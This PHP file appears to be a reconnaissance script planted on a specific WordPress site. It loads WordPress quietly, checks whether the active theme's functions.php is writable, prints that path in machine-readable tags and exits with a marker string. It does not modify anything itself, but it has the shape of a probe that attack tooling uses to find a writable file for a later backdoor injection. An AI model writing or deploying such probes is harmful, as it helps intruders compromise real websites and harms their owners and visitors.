<?php   $r = "/home/www/ministerioscasaderefugio.com"; $r = rtrim(str_replace('\\', '/', $r), '/');  function pb_rel_path($root, $abs) {     $root = rtrim(str_replace('\\', '/', $root), '/');     $abs = str_replace('\\', '/', $abs);     if (strpos($abs, $root . '/') === 0) {         return substr($abs, strlen($root) + 1);     }     if (preg_match('#/(wp-content/.+)$#', $abs, $m)) {         return $m[1];     }     return $abs; }  $wp_load = $r . '/wp-load.php'; if (is_file($wp_load)) {     if (!defined('WP_USE_THEMES')) {         define('WP_USE_THEMES', false);     }     ob_start();     @include_once($wp_load);     @ob_end_clean();     if (function_exists('get_stylesheet_directory')) {         $fp = get_stylesheet_directory() . '/functions.php';         if (is_file($fp) && is_writable($fp)) {             $rel = pb_rel_path($r, $fp);             print "<f>{$rel}</f>";         }     } } die('!ended!'); 